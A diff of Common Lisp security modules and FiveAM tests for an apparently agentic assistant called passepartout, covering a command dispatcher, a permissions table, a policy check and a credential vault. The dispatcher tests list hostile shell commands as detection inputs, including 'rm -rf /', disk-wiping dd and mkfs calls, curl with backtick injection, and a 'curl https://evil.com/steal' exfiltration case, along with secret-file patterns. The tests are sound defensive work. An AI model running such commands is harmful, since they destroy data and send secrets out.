"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@personal" . :block)))
|
||||
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
|
||||
|
||||
(test test-privacy-severity-warn
|
||||
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
|
||||
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
|
||||
|
||||
(test test-privacy-severity-nil
|
||||
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
|
||||
(setf passepartout::*tag-categories* nil)
|
||||
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
|
||||
|
||||
(test test-tag-trigger-record
|
||||
"v0.7.2: tag-trigger-record increments per-tag count."
|
||||
(clrhash passepartout::*tag-trigger-count*)
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@draft")
|
||||
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
|
||||
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
|
||||
(clrhash passepartout::*tag-trigger-count*))
|
||||
|
||||
(test test-tag-categories-privacy-fallback
|
||||
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
|
||||
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
|
||||
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
||||
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
|
||||
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
|
||||
(sb-posix:unsetenv "TAG_CATEGORIES")
|
||||
(passepartout::tag-categories-load)
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :block (passepartout::tag-category-severity "@draft")))
|
||||
;; Restore
|
||||
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
|
||||
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
|
||||
(passepartout::tag-categories-load)))
|
||||
|
||||
(test test-safe-tool-read-only-auto-approve
|
||||
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
|
||||
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "test-ro-tool"
|
||||
:description "Read-only test"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p t))
|
||||
(unwind-protect
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (not (member (getf result :type) '(:LOG :approval-required)))))
|
||||
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
|
||||
|
||||
(test test-safe-tool-write-still-checked
|
||||
"Contract v0.7.2: write tools still go through full dispatcher check."
|
||||
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "write-file"
|
||||
:description "File writer"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p nil))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (search "HITL" (getf (getf result :payload) :message)))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
|
||||
(if orig-tool
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
|
||||
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
|
||||
#+end_src* v0.8.0 Tests — Block Counts
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(test test-block-record-increments
|
||||
"Contract 10: dispatcher-block-record increments per-gate count."
|
||||
(clrhash passepartout::*dispatcher-block-counts*)
|
||||
(is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
|
||||
(is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
|
||||
(is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
|
||||
|
||||
(test test-block-counts-summary
|
||||
"Contract 11: dispatcher-block-counts-summary returns total and by-gate."
|
||||
(clrhash passepartout::*dispatcher-block-counts*)
|
||||
(passepartout::dispatcher-block-record :shell-safety)
|
||||
(passepartout::dispatcher-block-record :shell-safety)
|
||||
(passepartout::dispatcher-block-record :secret-path)
|
||||
(let ((s (passepartout::dispatcher-block-counts-summary)))
|
||||
(is (= 3 (getf s :total)))
|
||||
(let ((by-gate (getf s :by-gate)))
|
||||
(is (= 2 (cdr (assoc :shell-safety by-gate))))
|
||||
(is (= 1 (cdr (assoc :secret-path by-gate)))))))
|
||||
|
||||
(test test-block-counts-empty
|
||||
"Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
|
||||
(clrhash passepartout::*dispatcher-block-counts*)
|
||||
(let ((s (passepartout::dispatcher-block-counts-summary)))
|
||||
(is (= 0 (getf s :total)))
|
||||
(is (null (getf s :by-gate)))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-dispatcher-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:dispatcher-suite))
|
||||
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
|
||||
(in-suite dispatcher-suite)
|
||||
|
||||
(test test-wildcard-match
|
||||
"Contract 1: wildcard pattern * matches any characters."
|
||||
(is (wildcard-match "*.env" ".env"))
|
||||
(is (wildcard-match "*.env" "prod.env"))
|
||||
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||
|
||||
(test test-check-secret-path
|
||||
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||
(is (dispatcher-check-secret-path ".env"))
|
||||
(is (dispatcher-check-secret-path "id_rsa"))
|
||||
(is (not (dispatcher-check-secret-path "README.org"))))
|
||||
|
||||
(test test-self-build-core-protection
|
||||
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
|
||||
;; Core paths are recognized
|
||||
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
|
||||
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
|
||||
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
|
||||
;; With SELF_BUILD_MODE=true, core writes produce approval-required
|
||||
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
|
||||
;; With SELF_BUILD_MODE=false (default), writes pass through
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type))))))
|
||||
|
||||
(test test-check-shell-safety
|
||||
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||
|
||||
(test test-shell-safety-severity-catastrophic
|
||||
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
|
||||
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
|
||||
(is (eq :catastrophic (getf r1 :severity)))
|
||||
(is (eq :catastrophic (getf r2 :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-dangerous
|
||||
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
|
||||
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
|
||||
(is (eq :dangerous (getf result :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-safe
|
||||
"Contract 3/v0.4.3: harmless commands return nil."
|
||||
(is (null (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
|
||||
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
|
||||
|
||||
(test test-dispatcher-severity-max
|
||||
"dispatcher-severity-max returns the higher tier."
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
|
||||
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
|
||||
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
|
||||
|
||||
(test test-check-privacy-tags
|
||||
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||
|
||||
(test test-check-network-exfil
|
||||
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||
|
||||
;; ── v0.7.2 Tag Stack ──
|
||||
|
||||
(test test-tag-categories-load
|
||||
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
|
||||
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
|
||||
(passepartout::tag-categories-load)
|
||||
(let ((cats passepartout::*tag-categories*))
|
||||
(is (>= (length cats) 1))
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :warn (passepartout::tag-category-severity "@draft")))
|
||||
(is (eq :log (passepartout::tag-category-severity "@review"))))
|
||||
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
|
||||
|
||||
(test test-tag-category-severity-unknown
|
||||
"Contract v0.7.2: unknown tag returns nil."
|
||||
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
|
||||
|
||||
(test test-privacy-severity-block
|
||||
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@personal" . :block)))
|
||||
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
|
||||
|
||||
(test test-privacy-severity-warn
|
||||
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
|
||||
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
|
||||
|
||||
(test test-privacy-severity-nil
|
||||
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
|
||||
(setf passepartout::*tag-categories* nil)
|
||||
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
|
||||
|
||||
(test test-tag-trigger-record
|
||||
"v0.7.2: tag-trigger-record increments per-tag count."
|
||||
(clrhash passepartout::*tag-trigger-count*)
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@draft")
|
||||
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
|
||||
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
|
||||
(clrhash passepartout::*tag-trigger-count*))
|
||||
|
||||
(test test-tag-categories-privacy-fallback
|
||||
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
|
||||
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
|
||||
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
||||
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
|
||||
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
|
||||
(sb-posix:unsetenv "TAG_CATEGORIES")
|
||||
(passepartout::tag-categories-load)
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :block (passepartout::tag-category-severity "@draft")))
|
||||
;; Restore
|
||||
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
|
||||
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
|
||||
(passepartout::tag-categories-load)))
|
||||
|
||||
(test test-safe-tool-read-only-auto-approve
|
||||
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
|
||||
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "test-ro-tool"
|
||||
:description "Read-only test"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p t))
|
||||
(unwind-protect
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (not (member (getf result :type) '(:LOG :approval-required)))))
|
||||
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
|
||||
|
||||
(test test-safe-tool-write-still-checked
|
||||
"Contract v0.7.2: write tools still go through full dispatcher check."
|
||||
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "write-file"
|
||||
:description "File writer"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p nil))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (search "HITL" (getf (getf result :payload) :message)))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
|
||||
(if orig-tool
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
|
||||
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
|
||||
#+end_src* v0.8.0 Tests — Block Counts
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(test test-block-record-increments
|
||||
|
||||
@@ -1,3 +1,19 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *permission-table* (make-hash-table :test 'equal))
|
||||
|
||||
(defun permission-set (tool-name level)
|
||||
"Sets the permission level for a tool."
|
||||
(setf (gethash (string-downcase (string tool-name)) *permission-table*) level))
|
||||
|
||||
(defun permission-get (tool-name)
|
||||
"Retrieves the permission level for a tool. Defaults to :ask."
|
||||
(gethash (string-downcase (string tool-name)) *permission-table* :ask))
|
||||
|
||||
(defskill :passepartout-security-permissions
|
||||
:priority 600
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
@@ -26,19 +42,3 @@
|
||||
(permission-set :CapitalTool :deny)
|
||||
(is (eq :deny (permission-get :capitaltool)))
|
||||
(permission-set "CapitalTool" nil))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *permission-table* (make-hash-table :test 'equal))
|
||||
|
||||
(defun permission-set (tool-name level)
|
||||
"Sets the permission level for a tool."
|
||||
(setf (gethash (string-downcase (string tool-name)) *permission-table*) level))
|
||||
|
||||
(defun permission-get (tool-name)
|
||||
"Retrieves the permission level for a tool. Defaults to :ask."
|
||||
(gethash (string-downcase (string tool-name)) *permission-table* :ask))
|
||||
|
||||
(defskill :passepartout-security-permissions
|
||||
:priority 600
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
@@ -1,3 +1,23 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun policy-compliance-check (action context)
|
||||
"Enforces constitutional invariants on proposed actions."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (proto-get action :payload))
|
||||
(explanation (proto-get payload :explanation)))
|
||||
(if (and explanation (stringp explanation) (> (length explanation) 10))
|
||||
action
|
||||
(progn
|
||||
(log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
|
||||
(list :type :LOG
|
||||
:payload (list :level :warn
|
||||
:text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
|
||||
|
||||
(defskill :passepartout-security-policy
|
||||
:priority 500
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic #'policy-compliance-check)
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
@@ -28,23 +48,3 @@
|
||||
(let* ((action '(:type :REQUEST :payload (:action :read)))
|
||||
(result (policy-compliance-check action nil)))
|
||||
(is (eq :LOG (getf result :type)))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun policy-compliance-check (action context)
|
||||
"Enforces constitutional invariants on proposed actions."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (proto-get action :payload))
|
||||
(explanation (proto-get payload :explanation)))
|
||||
(if (and explanation (stringp explanation) (> (length explanation) 10))
|
||||
action
|
||||
(progn
|
||||
(log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
|
||||
(list :type :LOG
|
||||
:payload (list :level :warn
|
||||
:text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
|
||||
|
||||
(defskill :passepartout-security-policy
|
||||
:priority 500
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic #'policy-compliance-check)
|
||||
|
||||
@@ -1,3 +1,19 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun validator-protocol-check (msg)
|
||||
"Enforces structural schema compliance on protocol messages."
|
||||
(validate-communication-protocol-schema msg))
|
||||
|
||||
(defskill :passepartout-security-validator
|
||||
:priority 95
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(handler-case
|
||||
(progn (validator-protocol-check action) action)
|
||||
(error (c)
|
||||
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
@@ -25,19 +41,3 @@
|
||||
(let ((msg '(:payload (:sensor :heartbeat))))
|
||||
(signals error
|
||||
(validator-protocol-check msg))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun validator-protocol-check (msg)
|
||||
"Enforces structural schema compliance on protocol messages."
|
||||
(validate-communication-protocol-schema msg))
|
||||
|
||||
(defskill :passepartout-security-validator
|
||||
:priority 95
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(handler-case
|
||||
(progn (validator-protocol-check action) action)
|
||||
(error (c)
|
||||
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
|
||||
|
||||
@@ -1,3 +1,39 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *vault-memory* (make-hash-table :test 'equal)
|
||||
"In-memory cache of sensitive credentials.")
|
||||
|
||||
(defun vault-get (provider &key (type :api-key))
|
||||
"Retrieves a credential from the vault or environment."
|
||||
(let* ((key (format nil "~a-~a" provider type))
|
||||
(val (gethash key *vault-memory*)))
|
||||
(if val
|
||||
val
|
||||
(let ((env-var (case provider
|
||||
(:gemini "GEMINI_API_KEY")
|
||||
(:openai "OPENAI_API_KEY")
|
||||
(:anthropic "ANTHROPIC_API_KEY")
|
||||
(:openrouter "OPENROUTER_API_KEY")
|
||||
(otherwise nil))))
|
||||
(when env-var (uiop:getenv env-var))))))
|
||||
|
||||
(defun vault-set (provider secret &key (type :api-key))
|
||||
"Stores a secret in the vault."
|
||||
(let ((key (format nil "~a-~a" provider type)))
|
||||
(setf (gethash key *vault-memory*) secret)))
|
||||
|
||||
(defun vault-get-secret (provider)
|
||||
"Retrieves a stored secret or token for a gateway provider."
|
||||
(vault-get provider :type :secret))
|
||||
|
||||
(defun vault-set-secret (provider secret)
|
||||
"Stores a secret or token for a gateway provider."
|
||||
(vault-set provider secret :type :secret))
|
||||
|
||||
(defskill :passepartout-security-vault
|
||||
:priority 600
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
@@ -48,39 +84,3 @@
|
||||
(is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
|
||||
(vault-set :vault-type-test nil :type :api-key)
|
||||
(vault-set :vault-type-test nil :type :secret))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *vault-memory* (make-hash-table :test 'equal)
|
||||
"In-memory cache of sensitive credentials.")
|
||||
|
||||
(defun vault-get (provider &key (type :api-key))
|
||||
"Retrieves a credential from the vault or environment."
|
||||
(let* ((key (format nil "~a-~a" provider type))
|
||||
(val (gethash key *vault-memory*)))
|
||||
(if val
|
||||
val
|
||||
(let ((env-var (case provider
|
||||
(:gemini "GEMINI_API_KEY")
|
||||
(:openai "OPENAI_API_KEY")
|
||||
(:anthropic "ANTHROPIC_API_KEY")
|
||||
(:openrouter "OPENROUTER_API_KEY")
|
||||
(otherwise nil))))
|
||||
(when env-var (uiop:getenv env-var))))))
|
||||
|
||||
(defun vault-set (provider secret &key (type :api-key))
|
||||
"Stores a secret in the vault."
|
||||
(let ((key (format nil "~a-~a" provider type)))
|
||||
(setf (gethash key *vault-memory*) secret)))
|
||||
|
||||
(defun vault-get-secret (provider)
|
||||
"Retrieves a stored secret or token for a gateway provider."
|
||||
(vault-get provider :type :secret))
|
||||
|
||||
(defun vault-set-secret (provider secret)
|
||||
"Stores a secret or token for a gateway provider."
|
||||
(vault-set provider secret :type :secret))
|
||||
|
||||
(defskill :passepartout-security-vault
|
||||
:priority 600
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
@@ -1,71 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-sensor-time-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:sensor-time-suite))
|
||||
|
||||
(in-package :passepartout-sensor-time-tests)
|
||||
|
||||
(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines")
|
||||
(in-suite sensor-time-suite)
|
||||
|
||||
(test test-format-time-for-llm-includes-year
|
||||
"Contract 1: format-time-for-llm returns a string with the current year."
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "202" result))
|
||||
(is (search "TIME" result))))
|
||||
|
||||
(test test-format-time-for-llm-utc
|
||||
"Contract 1: iso format includes Z suffix."
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "Z" result))))
|
||||
|
||||
(test test-format-time-for-llm-natural
|
||||
"Contract 1: natural format produces human-readable date."
|
||||
(let ((old-env (or (uiop:getenv "TIME_FORMAT") "")))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "TIME_FORMAT") "natural")
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "UTC" result))))
|
||||
(setf (uiop:getenv "TIME_FORMAT") old-env))))
|
||||
|
||||
(test test-format-time-for-llm-with-session
|
||||
"Contract 1: with session duration, includes session info."
|
||||
(let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720)))
|
||||
(is (search "1h 2m" result))))
|
||||
|
||||
(test test-session-duration
|
||||
"Contract 2: session-duration returns a positive number after init."
|
||||
(passepartout::sensor-time-initialize)
|
||||
(let ((dur (passepartout::session-duration)))
|
||||
(is (numberp dur))
|
||||
(is (>= dur 0))))
|
||||
|
||||
(test test-sensor-time-tick-empty
|
||||
"Contract 3: sensor-time-tick returns nil when no deadlines are near."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((result (passepartout::sensor-time-tick)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-sensor-time-tick-detects-deadline
|
||||
"Contract 3: sensor-time-tick detects a deadline close in time."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf passepartout::*deadline-warning-minutes* 120)
|
||||
(let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago
|
||||
(ingest-ast (list :type :HEADLINE
|
||||
:properties (list :ID "deadline-test"
|
||||
:TITLE "Submit report"
|
||||
:DEADLINE (write-to-string near-future-time))
|
||||
:contents nil)))
|
||||
(let ((result (passepartout::sensor-time-tick)))
|
||||
(is (not (null result)))
|
||||
(is (search "Submit report" result))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *session-start-time* nil
|
||||
@@ -167,3 +99,71 @@ Called by the time-tick cron job every minute."
|
||||
(format nil "~d deadlines approaching: ~{~a; ~}" (length parts) parts))))))
|
||||
|
||||
(sensor-time-initialize)
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-sensor-time-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:sensor-time-suite))
|
||||
|
||||
(in-package :passepartout-sensor-time-tests)
|
||||
|
||||
(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines")
|
||||
(in-suite sensor-time-suite)
|
||||
|
||||
(test test-format-time-for-llm-includes-year
|
||||
"Contract 1: format-time-for-llm returns a string with the current year."
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "202" result))
|
||||
(is (search "TIME" result))))
|
||||
|
||||
(test test-format-time-for-llm-utc
|
||||
"Contract 1: iso format includes Z suffix."
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "Z" result))))
|
||||
|
||||
(test test-format-time-for-llm-natural
|
||||
"Contract 1: natural format produces human-readable date."
|
||||
(let ((old-env (or (uiop:getenv "TIME_FORMAT") "")))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "TIME_FORMAT") "natural")
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "UTC" result))))
|
||||
(setf (uiop:getenv "TIME_FORMAT") old-env))))
|
||||
|
||||
(test test-format-time-for-llm-with-session
|
||||
"Contract 1: with session duration, includes session info."
|
||||
(let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720)))
|
||||
(is (search "1h 2m" result))))
|
||||
|
||||
(test test-session-duration
|
||||
"Contract 2: session-duration returns a positive number after init."
|
||||
(passepartout::sensor-time-initialize)
|
||||
(let ((dur (passepartout::session-duration)))
|
||||
(is (numberp dur))
|
||||
(is (>= dur 0))))
|
||||
|
||||
(test test-sensor-time-tick-empty
|
||||
"Contract 3: sensor-time-tick returns nil when no deadlines are near."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((result (passepartout::sensor-time-tick)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-sensor-time-tick-detects-deadline
|
||||
"Contract 3: sensor-time-tick detects a deadline close in time."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf passepartout::*deadline-warning-minutes* 120)
|
||||
(let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago
|
||||
(ingest-ast (list :type :HEADLINE
|
||||
:properties (list :ID "deadline-test"
|
||||
:TITLE "Submit report"
|
||||
:DEADLINE (write-to-string near-future-time))
|
||||
:contents nil)))
|
||||
(let ((result (passepartout::sensor-time-tick)))
|
||||
(is (not (null result)))
|
||||
(is (search "Submit report" result))))
|
||||
|
||||
@@ -1,41 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-symbolic-archivist-tests
|
||||
(:use :cl :passepartout)
|
||||
